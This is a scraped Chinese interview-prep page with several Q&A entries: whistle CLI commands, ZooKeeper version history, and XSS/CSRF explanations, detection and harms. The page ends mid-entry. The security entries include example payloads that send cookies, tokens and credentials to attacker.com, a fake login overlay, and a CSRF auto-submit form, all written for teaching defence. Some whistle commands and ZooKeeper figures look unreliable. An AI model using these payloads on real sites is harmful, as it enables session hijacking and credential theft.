乐闻世界logo
搜索文章和话题

面试题手册

whistle 有哪些常用的命令行工具和快捷操作?

答案Whistle 提供了丰富的命令行工具,可以通过命令行完成大部分操作,提高工作效率。基本命令1. 安装和卸载全局安装 whistle:npm install -g whistle卸载 whistle:npm uninstall -g whistle更新 whistle:npm update -g whistle2. 启动和停止启动 whistle:w2 start指定端口启动:w2 start -p 8080指定配置文件启动:w2 start -f custom.rules指定存储目录启动:w2 start -D /path/to/storage停止 whistle:w2 stop重启 whistle:w2 restart3. 查看状态查看运行状态:w2 status查看版本信息:w2 -v查看帮助信息:w2 -h配置管理命令1. 配置文件操作查看当前配置文件:w2 rules编辑配置文件:w2 edit导出配置文件:w2 export rules.txt导入配置文件:w2 import rules.txt2. 插件管理安装插件:w2 install plugin-name卸载插件:w2 uninstall plugin-name列出已安装插件:w2 list更新插件:w2 update plugin-name3. 证书管理生成根证书:w2 ca下载根证书:w2 ca download安装根证书:w2 ca install卸载根证书:w2 ca uninstall高级命令1. 代理配置设置代理认证:w2 auth username:password清除代理认证:w2 auth clear设置代理超时:w2 timeout 30000设置最大连接数:w2 max-connections 1002. 日志管理查看日志:w2 log查看实时日志:w2 log -f清空日志:w2 log clear导出日志:w2 log export log.txt3. 数据管理清除所有数据:w2 clean清除缓存:w2 clean cache清除日志:w2 clean log清除配置:w2 clean config实用技巧1. 快速启动创建启动脚本:start-whistle.sh (Mac/Linux):#!/bin/bashw2 start -p 8899echo "Whistle started on port 8899"start-whistle.bat (Windows):@echo offw2 start -p 8899echo Whistle started on port 8899使用脚本:./start-whistle.sh2. 环境切换创建环境切换脚本:switch-env.sh:#!/bin/bashENV=$1case $ENV in dev) cp ~/.whistle/rules-dev ~/.whistle/rules w2 restart echo "Switched to development environment" ;; test) cp ~/.whistle/rules-test ~/.whistle/rules w2 restart echo "Switched to test environment" ;; prod) cp ~/.whistle/rules-prod ~/.whistle/rules w2 restart echo "Switched to production environment" ;; *) echo "Usage: switch-env.sh {dev|test|prod}" ;;esac使用脚本:./switch-env.sh dev./switch-env.sh test./switch-env.sh prod3. 自动备份创建备份脚本:backup-whistle.sh:#!/bin/bashBACKUP_DIR=~/whistle-backupDATE=$(date +%Y%m%d_%H%M%S)mkdir -p $BACKUP_DIR# 备份配置文件cp ~/.whistle/rules $BACKUP_DIR/rules_$DATE# 备份插件列表w2 list > $BACKUP_DIR/plugins_$DATEecho "Backup completed: $BACKUP_DIR"使用脚本:./backup-whistle.sh4. 批量操作批量安装插件:install-plugins.sh:#!/bin/bashPLUGINS=( "whistle.inspector" "whistle.weinre" "whistle.vase")for plugin in "${PLUGINS[@]}"; do echo "Installing $plugin..." w2 install $plugindoneecho "All plugins installed"使用脚本:./install-plugins.sh命令行调试1. 调试模式启动调试模式:w2 start --debug查看详细日志:w2 log -v2. 性能分析查看性能统计:w2 stats查看内存使用:w2 memory查看 CPU 使用:w2 cpu3. 问题诊断诊断命令:w2 doctor检查配置:w2 check验证规则:w2 validate rules命令行快捷键1. 常用快捷键Ctrl + C:停止当前命令Ctrl + L:清屏Ctrl + R:搜索历史命令↑ / ↓:浏览历史命令Tab:自动补全2. 命令别名创建别名:Mac/Linux (bash):# 添加到 ~/.bashrcalias ws='w2 start'alias wq='w2 stop'alias wr='w2 restart'alias wl='w2 log'Mac/Linux (zsh):# 添加到 ~/.zshrcalias ws='w2 start'alias wq='w2 stop'alias wr='w2 restart'alias wl='w2 log'Windows (PowerShell):# 添加到 $PROFILEfunction ws { w2 start }function wq { w2 stop }function wr { w2 restart }function wl { w2 log }最佳实践使用脚本自动化创建常用操作的脚本自动化重复任务提高工作效率定期备份配置使用脚本自动备份保留历史版本便于回滚使用命令别名简化常用命令提高输入速度减少输入错误查看帮助文档使用 -h 查看帮助阅读官方文档了解最新功能保持命令行更新定期更新 whistle获取新功能修复已知问题
阅读 0·2月21日 16:25

Zookeeper 的版本演进有哪些重要特性?如何选择合适的版本和进行升级?

答案Zookeeper 从 2008 年开源以来,经历了多个重要版本的演进,每个版本都带来了新的特性和改进。1. 版本历史概览主要版本发布时间线:3.0.x (2008):初始版本,基于 Chubby 论文3.1.x (2009):性能优化和稳定性改进3.2.x (2010):增加 Observer 节点支持3.3.x (2011):改进选举算法和性能3.4.x (2012):稳定版本,广泛使用3.5.x (2015):引入新特性,实验性版本3.6.x (2019):性能优化和新特性3.7.x (2021):持续改进和优化3.8.x (2022):最新稳定版本2. 3.4.x 版本特性核心特性:稳定的 ZAB 协议实现完善的 ACL 权限控制支持 Observer 节点四字命令支持Java 客户端 API 完善典型应用:Hadoop 生态Kafka 早期版本Dubbo 服务注册大数据集群协调优势:成熟稳定社区支持好文档完善生产环境验证3. 3.5.x 版本新特性重要新特性:1. 容器节点(Container Nodes):// 创建容器节点zk.create("/container", null, ZooDefs.Ids.OPEN_ACL_UNSAFE, CreateMode.CONTAINER);// 特性:没有子节点时自动删除2. TTL 节点:// 创建 TTL 节点zk.create("/ttl-node", data, ZooDefs.Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT_WITH_TTL, new Stat(), 5000); // TTL 5 秒// 需要启用zookeeper.extendedTypesEnabled=true3. 动态配置:# 不需要重启即可修改配置zkCli.sh -server localhost:2181reconfig -add server.4=zk4:2888:38884. 改进的选举算法:更快的选举速度更好的网络分区处理减少选举抖动5. Netty 服务器:# 使用 Netty 替代 NIOserverCnxnFactory=org.apache.zookeeper.server.NettyServerCnxnFactory4. 3.6.x 版本新特性重要新特性:1. 读写分离优化:Observer 节点性能提升读请求优化减少网络开销2. 事务日志优化:# 事务日志预分配大小优化preAllocSize=65536# 快照间隔优化snapCount=1000003. 内存管理改进:更高效的内存使用减少 GC 压力改进快照加载4. 监控增强:# 新增监控命令echo mntr | nc localhost 2181# 更详细的性能指标echo stat | nc localhost 21815. 安全增强:SASL 认证改进TLS 支持更细粒度的权限控制5. 3.7.x 版本新特性重要新特性:1. 性能优化:写入性能提升 30%读性能提升 20%延迟降低 15%2. 稳定性改进:修复多个已知 Bug改进错误处理更好的日志记录3. 客户端改进:Curator 框架集成更好的重试机制改进的连接管理4. 运维增强:更好的滚动升级支持改进的故障恢复增强的监控指标6. 3.8.x 版本新特性重要新特性:1. 容器化支持:更好的 Docker 支持Kubernetes 友好云原生优化2. 性能提升:进一步优化网络 I/O改进序列化性能优化内存分配3. 可观测性增强:更丰富的监控指标分布式追踪支持结构化日志4. 安全加固:默认启用安全特性改进的认证机制更强的加密支持7. 版本对比| 特性 | 3.4.x | 3.5.x | 3.6.x | 3.7.x | 3.8.x ||------|-------|-------|-------|-------|-------|| 容器节点 | ❌ | ✅ | ✅ | ✅ | ✅ || TTL 节点 | ❌ | ✅ | ✅ | ✅ | ✅ || 动态配置 | ❌ | ✅ | ✅ | ✅ | ✅ || Netty 服务器 | ❌ | ✅ | ✅ | ✅ | ✅ || TLS 支持 | ❌ | ❌ | ✅ | ✅ | ✅ || 容器化支持 | ❌ | ❌ | ❌ | ❌ | ✅ || 性能优化 | 基准 | +20% | +30% | +40% | +50% |8. 版本选择建议选择 3.4.x 当:使用 Hadoop/Kafka 旧版本需要最大稳定性不需要新特性团队熟悉该版本选择 3.5.x 当:需要容器节点和 TTL 节点需要动态配置使用较新的生态系统可以接受实验性特性选择 3.6.x 当:需要更好的性能需要 TLS 支持使用云原生应用需要更好的监控选择 3.7.x 当:需要最新稳定版本需要性能优化需要更好的运维支持新项目推荐选择 3.8.x 当:使用容器化部署需要云原生支持需要最新特性可以接受较新的版本9. 升级策略升级前准备:# 1. 备份数据cp -r /data/zookeeper /backup/# 2. 检查兼容性# 查看版本兼容性文档# 3. 在测试环境验证# 部署测试集群# 验证功能# 4. 制定回滚计划# 准备回滚脚本# 测试回滚流程滚动升级流程:# 1. 升级 Follower 节点for node in follower1 follower2; do ssh $node "zkServer.sh stop" ssh $node "upgrade-zookeeper.sh" ssh $node "zkServer.sh start" sleep 30 # 等待同步done# 2. 升级 Leader 节点# Leader 会自动切换到已升级的 Follower# 然后升级原 Leader# 3. 验证集群状态echo stat | nc localhost 2181跨大版本升级:# 3.4.x -> 3.5.x# 可以直接升级# 3.4.x -> 3.6.x# 建议先升级到 3.5.x# 3.4.x -> 3.7.x# 需要分步升级# 3.4.x -> 3.5.x -> 3.6.x -> 3.7.x10. 未来发展趋势技术趋势:云原生支持增强容器化部署优化性能持续优化安全性增强可观测性提升生态发展:与 Kubernetes 深度集成服务网格支持多云部署支持边缘计算支持社区发展:更活跃的社区贡献更快的版本迭代更好的文档更多的工具支持11. 版本兼容性客户端兼容性:新版本客户端可以连接旧版本服务器旧版本客户端可能无法使用新特性建议保持客户端和服务器版本一致数据兼容性:数据格式向后兼容可以直接升级数据建议升级前备份配置兼容性:新版本支持旧配置建议使用新配置选项弃用的配置会警告12. 常见升级问题问题 1:升级后选举失败# 解决方案# 1. 检查网络连通性# 2. 检查配置文件# 3. 检查 myid 文件# 4. 查看日志问题 2:数据不一致# 解决方案# 1. 停止集群# 2. 恢复备份# 3. 重新升级# 4. 验证数据问题 3:性能下降# 解决方案# 1. 检查配置参数# 2. 调整 JVM 参数# 3. 监控性能指标# 4. 优化数据模型13. 版本管理最佳实践版本选择:使用 LTS 版本关注安全公告评估新特性需求考虑生态系统兼容性升级策略:定期评估升级需求制定升级计划在测试环境验证准备回滚方案版本管理:统一版本管理记录版本变更建立版本基线定期审计
阅读 0·2月21日 16:25

XSS 和 CSRF 有什么区别?如何区分和防护这两种攻击?

答案XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)是两种常见的 Web 安全漏洞,它们在攻击原理、攻击方式和防护策略上有本质区别。理解这两者的区别对于构建安全的 Web 应用至关重要。XSS 和 CSRF 的核心区别1. 攻击原理XSS(跨站脚本攻击):攻击者将恶意脚本注入到受害者的浏览器中恶意脚本在受害者的浏览器上下文中执行攻击者可以访问受害者的 Cookie、LocalStorage、Session 等CSRF(跨站请求伪造):攻击者诱骗受害者向目标网站发送请求请求在受害者的浏览器中自动发送,携带受害者的认证信息攻击者无法直接访问受害者的 Cookie 或 Session2. 攻击目标XSS:目标是受害者的浏览器利用的是浏览器对注入脚本的信任攻击者可以执行任意 JavaScript 代码CSRF:目标是目标网站的 API 或表单利用的是网站对用户浏览器认证的信任攻击者只能发送特定的 HTTP 请求3. 攻击方式XSS 攻击示例:// 攻击者在评论区注入恶意脚本<script> const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie));</script>CSRF 攻击示例:<!-- 攻击者构造恶意页面 --><img src="http://bank.com/transfer?to=attacker&amount=10000" style="display:none;">4. 攻击者能力XSS:可以读取和修改 DOM可以访问 Cookie(非 HttpOnly)可以访问 LocalStorage 和 SessionStorage可以发送任意 AJAX 请求可以执行任意 JavaScript 代码CSRF:只能发送 HTTP 请求无法读取响应内容无法访问 Cookie无法执行 JavaScript 代码受同源策略限制详细对比表| 特性 | XSS | CSRF ||------|-----|------|| 全称 | Cross-Site Scripting | Cross-Site Request Forgery || 中文名称 | 跨站脚本攻击 | 跨站请求伪造 || 攻击原理 | 注入恶意脚本到受害者浏览器 | 诱骗受害者发送伪造请求 || 攻击目标 | 受害者的浏览器 | 目标网站的 API/表单 || 攻击者能力 | 执行任意 JavaScript 代码 | 只能发送 HTTP 请求 || 访问 Cookie | 可以访问非 HttpOnly Cookie | 自动携带所有 Cookie || 读取响应 | 可以读取响应内容 | 无法读取响应内容 || 同源策略 | 可以绕过同源策略 | 受同源策略限制 || 防护重点 | 输入验证、输出编码、CSP | CSRF Token、SameSite Cookie || 危害程度 | 高(可以完全控制浏览器) | 中(只能发送特定请求) |XSS 攻击详解攻击流程攻击者发现 XSS 漏洞攻击者构造恶意脚本攻击者将恶意脚本注入到目标网站受害者访问被注入的页面恶意脚本在受害者浏览器中执行攻击者窃取数据或执行恶意操作攻击类型存储型 XSS:恶意脚本存储在服务器数据库中反射型 XSS:恶意脚本通过 URL 参数传递DOM 型 XSS:恶意脚本通过 DOM 操作执行防护措施输入验证:对所有用户输入进行严格验证输出编码:对所有输出进行适当的编码Content Security Policy:限制资源来源HttpOnly Cookie:防止 JavaScript 访问 Cookie使用安全的 DOM API:避免使用 innerHTML 等CSRF 攻击详解攻击流程用户登录目标网站(如银行网站)用户访问攻击者构造的恶意网站恶意网站向目标网站发送请求浏览器自动携带用户的认证信息目标网站执行请求,认为这是用户的合法操作攻击类型GET 请求 CSRF:通过 <img>、<script> 等标签发送 GET 请求POST 请求 CSRF:通过隐藏表单自动提交 POST 请求JSON CSRF:通过构造 JSON 格式的请求进行攻击防护措施CSRF Token:在请求中添加随机 TokenSameSite Cookie:限制 Cookie 的跨站发送验证 Referer/Origin:检查请求来源自定义 Header:添加自定义请求头双重提交 Cookie:将 Token 同时放在 Cookie 和请求参数中实际代码示例XSS 攻击示例存储型 XSS:// 不安全的代码app.post('/comment', (req, res) => { const comment = req.body.comment; db.save(comment); // 直接保存,未验证});app.get('/comments', (req, res) => { const comments = db.getAll(); res.send(comments.join('')); // 直接输出,未编码});// 攻击者提交POST /comment{ "comment": "<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>"}修复方法:// 安全的代码function escapeHtml(unsafe) { return unsafe .replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">") .replace(/"/g, """) .replace(/'/g, "'");}app.get('/comments', (req, res) => { const comments = db.getAll(); const encodedComments = comments.map(c => escapeHtml(c)).join(''); res.send(encodedComments);});CSRF 攻击示例不安全的代码:// 转账接口,没有 CSRF 防护app.post('/transfer', (req, res) => { const { to, amount } = req.body; const userId = req.session.userId; // 从 Session 获取用户 ID // 执行转账 bank.transfer(userId, to, amount); res.json({ success: true });});// 攻击者构造的恶意页面<html><body> <form action="http://bank.com/transfer" method="POST" style="display:none;"> <input type="hidden" name="to" value="attacker"> <input type="hidden" name="amount" value="10000"> </form> <script> document.forms[0].submit(); </script></body></html>修复方法:// 使用 CSRF Token 防护const csrf = require('csurf');const csrfProtection = csrf({ cookie: true });app.get('/transfer', csrfProtection, (req, res) => { res.json({ csrfToken: req.csrfToken() });});app.post('/transfer', csrfProtection, (req, res) => { const { to, amount } = req.body; const userId = req.session.userId; bank.transfer(userId, to, amount); res.json({ success: true });});// 前端代码fetch('/transfer', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': csrfToken }, body: JSON.stringify({ to, amount })});XSS 和 CSRF 的组合攻击攻击者可能同时利用 XSS 和 CSRF 漏洞进行更复杂的攻击:攻击场景:攻击者通过 XSS 窃取 CSRF Token使用窃取的 Token 发起 CSRF 攻击绕过 CSRF 防护机制示例:// XSS 脚本窃取 CSRF Tokenconst csrfToken = document.querySelector('meta[name="csrf-token"]').content;fetch('http://attacker.com/steal?token=' + csrfToken);// 攻击者使用窃取的 Token 发起 CSRF 攻击fetch('http://bank.com/transfer', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': stolenToken }, body: JSON.stringify({ to: 'attacker', amount: 10000 })});防护策略对比XSS 防护策略输入验证白名单验证数据类型验证长度限制输出编码HTML 编码JavaScript 编码URL 编码CSS 编码Content Security Policy限制脚本来源禁止内联脚本禁止 evalHttpOnly Cookie防止 JavaScript 访问 Cookie安全的 DOM 操作使用 textContent 代替 innerHTML避免使用 document.writeCSRF 防护策略CSRF Token随机生成 Token验证 Token 有效性Token 一次性使用SameSite CookieStrict:完全不发送跨站 CookieLax:部分发送跨站 CookieNone:允许发送跨站 Cookie(需要 Secure)验证 Referer/Origin检查请求来源白名单验证自定义 Header添加自定义请求头验证 Header 有效性双重提交 CookieToken 同时在 Cookie 和请求参数中验证两者是否匹配检测方法XSS 检测手动测试在输入框中注入 <script>alert(1)</script>检查是否执行自动化扫描OWASP ZAPBurp SuiteXSStrike代码审计检查所有用户输入点检查输出点是否编码CSRF 检测手动测试构造跨站请求检查是否执行自动化扫描CSRFTesterOWASP ZAP代码审计检查是否有 CSRF Token检查 SameSite Cookie 设置总结XSS 和 CSRF 是两种不同但同样危险的 Web 安全漏洞:XSS 的核心特点:攻击者可以执行任意 JavaScript 代码可以访问和修改浏览器中的数据危害程度更高,攻击者能力更强防护重点:输入验证、输出编码、CSPCSRF 的核心特点:攻击者只能发送 HTTP 请求无法访问响应内容或浏览器数据危害程度中等,攻击者能力有限防护重点:CSRF Token、SameSite Cookie最佳实践:同时防护 XSS 和 CSRF实施多层防御策略定期进行安全审计和渗透测试使用安全框架和库加强开发人员安全意识通过理解 XSS 和 CSRF 的区别,并采取相应的防护措施,可以有效地保护 Web 应用免受这些常见的安全威胁。
阅读 0·2月21日 16:25

什么是 XSS 攻击?XSS 攻击有哪些类型和防护方法?

答案XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的网络安全漏洞,它允许攻击者将恶意脚本注入到原本无害的网页中。当其他用户浏览这些已经被注入恶意脚本的网页时,嵌入其中的脚本会在用户的浏览器中被执行,攻击者可以利用这些脚本进行进一步的恶意操作,如窃取用户的会话令牌(cookies)、劫持用户会话、重定向到恶意网站或者在用户不知情的情况下进行其他攻击行为。XSS 攻击的三种主要类型存储型 XSS(Stored XSS)恶意脚本被永久存储在目标服务器上(如数据库、消息论坛、评论区等)当用户访问包含恶意脚本的页面时,脚本会被执行危害最大,因为攻击者不需要诱骗用户访问特定 URL示例:在评论区提交 <script>alert(document.cookie)</script>反射型 XSS(Reflected XSS)恶意脚本通过 URL 参数传递,服务器将其反射回响应中需要用户点击恶意链接才会触发常见于搜索功能、错误页面等示例:http://example.com/search?q=<script>alert(1)</script>DOM 型 XSS(DOM-based XSS)漏洞完全在客户端的 DOM 操作中产生不经过服务器,恶意脚本直接在浏览器中执行常见于使用 innerHTML、document.write 等不安全的 DOM 操作示例:location.hash 被直接插入到页面中XSS 攻击的危害窃取用户 Cookie 和会话信息劫持用户会话,执行未授权操作重定向用户到钓鱼网站篡改网页内容键盘记录窃取敏感信息(如密码、信用卡号)XSS 防护措施输入验证对所有用户输入进行严格的验证和过滤使用白名单而非黑名单验证数据类型、长度、格式等输出编码HTML 编码:将 <、>、&、"、' 等字符转义JavaScript 编码:对 JavaScript 上下文中的数据进行编码URL 编码:对 URL 参数进行编码CSS 编码:对 CSS 上下文中的数据进行编码使用 Content Security Policy (CSP)限制浏览器只能加载来自可信来源的资源禁止内联脚本执行示例:Content-Security-Policy: default-src 'self'; script-src 'self'HttpOnly Cookie设置 Cookie 的 HttpOnly 标志,防止 JavaScript 访问示例:Set-Cookie: sessionid=xxx; HttpOnly使用安全的 API避免使用 innerHTML,改用 textContent避免使用 eval() 和 new Function()使用框架提供的安全方法(如 React 的 dangerouslySetInnerHTML)框架防护现代前端框架(如 React、Vue)默认提供 XSS 防护合理使用框架提供的安全特性XSS 检测方法手动测试在输入框中注入测试脚本:<script>alert(1)</script>检查脚本是否被执行自动化扫描工具OWASP ZAPBurp SuiteXSStrikeXSSer代码审计检查所有用户输入点检查输出点是否进行了适当的编码检查 DOM 操作是否安全实际案例案例 1:存储型 XSS// 不安全的代码app.post('/comment', (req, res) => { const comment = req.body.comment; db.save(comment); // 直接保存用户输入});app.get('/comments', (req, res) => { const comments = db.getAll(); res.send(comments.join('')); // 直接输出,未编码});修复:app.get('/comments', (req, res) => { const comments = db.getAll(); const encodedComments = comments.map(c => escapeHtml(c)).join(''); res.send(encodedComments);});案例 2:DOM 型 XSS// 不安全的代码const userInput = location.hash.substring(1);document.getElementById('output').innerHTML = userInput;修复:const userInput = location.hash.substring(1);document.getElementById('output').textContent = userInput;总结XSS 是一种严重的安全漏洞,需要开发者在开发过程中始终保持警惕。通过输入验证、输出编码、使用 CSP 等多种防护措施的结合,可以有效地防止 XSS 攻击。同时,定期进行安全测试和代码审计也是必要的。
阅读 0·2月21日 16:25

如何检测 XSS 漏洞?有哪些常用的 XSS 检测工具和方法?

答案XSS 漏洞检测是 Web 安全测试的重要组成部分。通过系统化的检测方法,可以发现和修复 XSS 漏洞,提高应用的安全性。XSS 漏洞检测包括手动检测、自动化检测和代码审计等多种方法。XSS 漏洞检测的基本原则1. 检测范围所有用户输入点(表单、URL 参数、Cookie、HTTP 头等)所有输出点(HTML 内容、JavaScript 代码、CSS 样式等)所有数据存储和传输环节2. 检测类型存储型 XSS反射型 XSSDOM 型 XSS3. 检测环境开发环境测试环境预生产环境生产环境(需谨慎)手动检测方法1. 基础 Payload 测试常用测试 Payload:// 基础脚本注入<script>alert(1)</script><script>alert('XSS')</script>// 图片标签注入<img src=x onerror=alert(1)><img src=x onerror=alert('XSS')>// SVG 标签注入<svg onload=alert(1)>// iframe 标签注入<iframe src="javascript:alert(1)"></iframe>// body 标签注入<body onload=alert(1)>// input 标签注入<input onfocus=alert(1) autofocus>测试步骤:在输入框中输入测试 Payload提交表单或访问 URL检查页面是否弹出警告框查看页面源代码,检查 Payload 是否被编码2. 反射型 XSS 检测URL 参数测试:# 测试搜索功能http://example.com/search?q=<script>alert(1)</script>http://example.com/search?q=<img src=x onerror=alert(1)># 测试错误页面http://example.com/error?msg=<script>alert(1)</script># 测试重定向页面http://example.com/redirect?url=<script>alert(1)</script>检测要点:检查 URL 参数是否直接输出到页面检查是否进行了 HTML 编码检查是否使用了 CSP3. 存储型 XSS 检测测试场景:// 评论区测试POST /api/comment{ "content": "<script>alert(1)</script>"}// 用户资料测试POST /api/profile{ "nickname": "<img src=x onerror=alert(1)>", "bio": "<script>alert('XSS')</script>"}// 消息测试POST /api/message{ "message": "<svg onload=alert(1)>"}检测要点:提交 Payload 后,访问相关页面检查 Payload 是否被存储检查其他用户访问时是否执行4. DOM 型 XSS 检测测试方法:// 测试 location.hashhttp://example.com/page#<img src=x onerror=alert(1)>// 测试 location.searchhttp://example.com/page?q=<script>alert(1)</script>// 测试 location.pathnamehttp://example.com/<script>alert(1)</script>// 测试 document.referrer// 通过恶意页面跳转,测试 referrer 是否被直接使用// 测试 window.name// 通过 iframe 设置 window.name,测试是否被直接使用检测要点:检查 JavaScript 代码中是否直接使用 location 对象检查是否使用 innerHTML、document.write 等危险 API检查是否对用户输入进行了编码自动化检测工具1. OWASP ZAP功能特点:开源免费的 Web 安全扫描工具支持主动扫描和被动扫描可以检测多种 XSS 漏洞提供 API 和插件扩展使用方法:# 安装 OWASP ZAPbrew install --cask zap# 启动 ZAPzap.sh# 使用 CLI 进行扫描zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://example.com扫描配置:启用 XSS 扫描设置扫描深度配置认证信息设置扫描范围2. Burp Suite功能特点:专业的 Web 安全测试工具强大的拦截和重放功能支持 Intruder 模块进行批量测试提供丰富的插件生态使用方法:配置浏览器代理到 Burp Suite访问目标网站,捕获请求将请求发送到 Repeater 或 Intruder修改参数,注入 XSS Payload分析响应,检查漏洞Intruder 配置:# Payload 类型- Simple list: 使用预定义的 Payload 列表- Runtime file: 从文件读取 Payload- Numbers: 生成数字序列- Dates: 生成日期序列- Brute forcer: 暴力破解- Null payloads: 空 Payload# 攻击类型- Sniper: 逐个位置注入- Battering ram: 所有位置同时注入- Pitchfork: 多个 Payload 同时注入- Cluster bomb: 所有 Payload 组合注入3. XSStrike功能特点:专门用于 XSS 检测的工具支持多种检测模式可以绕过 WAF提供 Payload 生成功能使用方法:# 安装 XSStrikepip install xsstrike# 基础扫描python xsstrike.py -u "http://example.com/search?q=test"# POST 请求扫描python xsstrike.py -u "http://example.com/login" -d "username=test&password=test"# 使用代理python xsstrike.py -u "http://example.com/search?q=test" --proxy "http://127.0.0.1:8080"# 绕过 WAFpython xsstrike.py -u "http://example.com/search?q=test" --skip4. XSSer功能特点:自动化 XSS 检测工具支持多种攻击向量可以绕过过滤器提供详细的报告使用方法:# 安装 XSSergit clone https://github.com/epsylon/xsser.gitcd xsserpython setup.py install# 基础扫描xsser -u "http://example.com/search?q=test"# POST 请求扫描xsser -u "http://example.com/login" -p "username=test&password=test"# 使用代理xsser -u "http://example.com/search?q=test" --proxy="http://127.0.0.1:8080"代码审计方法1. 静态代码分析检查要点:// 1. 搜索危险的 DOM API- innerHTML- outerHTML- document.write- eval()- new Function()- setTimeout(string)- setInterval(string)// 2. 搜索用户输入点- req.body- req.query- req.params- document.cookie- location.hash- location.search// 3. 检查输出编码- 是否使用了 escapeHtml()- 是否使用了 encodeURIComponent()- 是否使用了框架的自动编码审计工具:ESLint with security pluginsSonarQubeSemgrepCodeQL2. 动态代码分析检查要点:// 1. 运行时检查- 监控所有用户输入- 跟踪数据流- 检查输出点// 2. 使用浏览器开发者工具- Elements 标签:检查 DOM 结构- Console 标签:检查 JavaScript 执行- Network 标签:检查网络请求- Sources 标签:设置断点调试XSS 漏洞检测流程1. 信息收集1. 识别目标网站2. 爬取网站结构3. 识别所有输入点4. 识别所有输出点5. 分析数据流2. 漏洞扫描1. 使用自动化工具进行初步扫描2. 手动验证自动化工具发现的漏洞3. 对高风险区域进行深度测试4. 测试不同的 Payload 变体3. 漏洞验证1. 确认漏洞的真实性2. 评估漏洞的危害程度3. 测试漏洞的可利用性4. 生成 PoC(概念验证)4. 漏洞报告1. 记录漏洞详情2. 提供修复建议3. 生成漏洞报告4. 跟踪修复进度XSS 漏洞检测的最佳实践1. 分阶段检测开发阶段:- 代码审查- 单元测试- 集成测试测试阶段:- 自动化扫描- 手动测试- 渗透测试生产阶段:- 持续监控- 定期审计- 应急响应2. 多维度检测技术维度:- 黑盒测试- 白盒测试- 灰盒测试时间维度:- 开发前- 开发中- 开发后人员维度:- 开发者自测- 测试人员测试- 安全专家审计3. 持续改进1. 建立漏洞数据库2. 分析漏洞模式3. 优化检测方法4. 更新检测工具5. 培训开发人员XSS 漏洞检测的注意事项1. 合法性和道德获得授权后再进行测试遵守法律法规不要影响生产环境保护用户隐私2. 测试范围明确测试边界不要测试无关系统不要过度测试避免拒绝服务3. 测试数据使用测试数据不要泄露真实数据不要修改生产数据测试后清理数据实际检测案例案例 1:电商平台搜索功能检测过程:识别搜索功能:/search?q=keyword注入测试 Payload:/search?q=<script>alert(1)</script>检查响应:发现 Payload 被直接输出确认漏洞:存在反射型 XSS漏洞代码:// 不安全的代码app.get('/search', (req, res) => { const query = req.query.q; res.send(`<h1>搜索结果:${query}</h1>`);});修复方案:// 安全的代码function escapeHtml(unsafe) { return unsafe .replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">") .replace(/"/g, """) .replace(/'/g, "'");}app.get('/search', (req, res) => { const query = escapeHtml(req.query.q); res.send(`<h1>搜索结果:${query}</h1>`);});案例 2:社交平台评论区检测过程:识别评论区:/api/comment提交测试 Payload:<img src=x onerror=alert(1)>访问评论页面:发现 Payload 被执行确认漏洞:存在存储型 XSS漏洞代码:// 不安全的代码app.post('/api/comment', (req, res) => { const comment = req.body.comment; db.save(comment);});app.get('/api/comments', (req, res) => { const comments = db.getAll(); res.send(comments.join(''));});修复方案:// 安全的代码app.post('/api/comment', (req, res) => { const comment = sanitize(req.body.comment); db.save(comment);});app.get('/api/comments', (req, res) => { const comments = db.getAll(); const encodedComments = comments.map(c => escapeHtml(c)).join(''); res.send(encodedComments);});总结XSS 漏洞检测是 Web 安全的重要组成部分,需要结合手动检测、自动化检测和代码审计等多种方法。有效的 XSS 检测应该:系统化:建立完整的检测流程自动化:使用工具提高检测效率持续化:定期进行安全审计专业化:培养专业的安全团队规范化:建立检测标准和规范通过系统化的 XSS 漏洞检测,可以及时发现和修复安全漏洞,提高 Web 应用的安全性。
阅读 0·2月21日 16:25

XSS 攻击有哪些危害?如何防范 XSS 攻击带来的安全风险?

答案XSS 攻击的危害非常严重,可以导致用户数据泄露、会话劫持、恶意操作等多种安全风险。了解 XSS 攻击的危害对于构建安全的 Web 应用至关重要。XSS 攻击的主要危害1. Cookie 窃取危害描述:攻击者可以通过 XSS 漏洞窃取用户的 Cookie,特别是会话 Cookie(Session Cookie),从而劫持用户的登录会话。攻击原理:// 恶意脚本窃取 Cookieconst stolenCookie = document.cookie;fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie));实际影响:攻击者可以冒充受害者登录网站访问受害者的个人账户信息执行受害者权限下的所有操作进行未授权的资金转账、数据修改等防护措施:设置 HttpOnly Cookie 标志使用 SameSite Cookie 属性实施 Content Security Policy对所有用户输入进行编码2. 会话劫持(Session Hijacking)危害描述:攻击者通过窃取会话标识符(如 Session ID、JWT Token)来劫持用户的会话,完全控制受害者的账户。攻击示例:// 窃取 Session IDconst sessionId = getCookie('sessionId');const token = localStorage.getItem('authToken');// 发送给攻击者fetch('http://attacker.com/hijack', { method: 'POST', body: JSON.stringify({ sessionId, token })});实际影响:完全控制受害者账户修改账户设置和密码查看敏感信息(如银行账户、个人资料)进行恶意操作(如发送垃圾邮件、发布非法内容)防护措施:使用安全的会话管理机制定期轮换会话标识符实施会话超时机制使用 HTTPS 加密传输3. 钓鱼攻击(Phishing)危害描述:攻击者通过 XSS 注入虚假的登录表单或弹窗,诱骗用户输入敏感信息。攻击示例:// 注入虚假登录表单const fakeForm = ` <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;"> <div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px;border-radius:5px;"> <h3>会话已过期,请重新登录</h3> <input type="text" id="username" placeholder="用户名"> <input type="password" id="password" placeholder="密码"> <button onclick="stealCredentials()">登录</button> </div> </div>`;document.body.innerHTML += fakeForm;function stealCredentials() { const username = document.getElementById('username').value; const password = document.getElementById('password').value; fetch('http://attacker.com/steal', { method: 'POST', body: JSON.stringify({ username, password }) });}实际影响:窃取用户登录凭证获取银行账户、信用卡信息窃取个人身份信息进行身份盗窃防护措施:对所有用户输入进行编码使用 CSP 防止内联脚本实施多因素认证加强用户安全教育4. 恶意重定向危害描述:攻击者通过 XSS 